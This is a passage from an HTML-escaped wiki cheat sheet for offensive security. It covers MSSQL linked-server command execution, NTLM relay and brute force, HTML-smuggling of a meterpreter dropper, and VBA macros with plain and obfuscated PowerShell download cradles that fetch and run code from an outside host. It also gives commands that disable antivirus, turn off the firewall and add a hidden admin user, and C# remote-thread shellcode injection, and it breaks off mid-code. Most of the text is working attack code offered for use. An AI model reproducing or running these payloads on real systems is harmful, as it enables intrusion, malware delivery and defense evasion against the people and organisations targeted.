MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
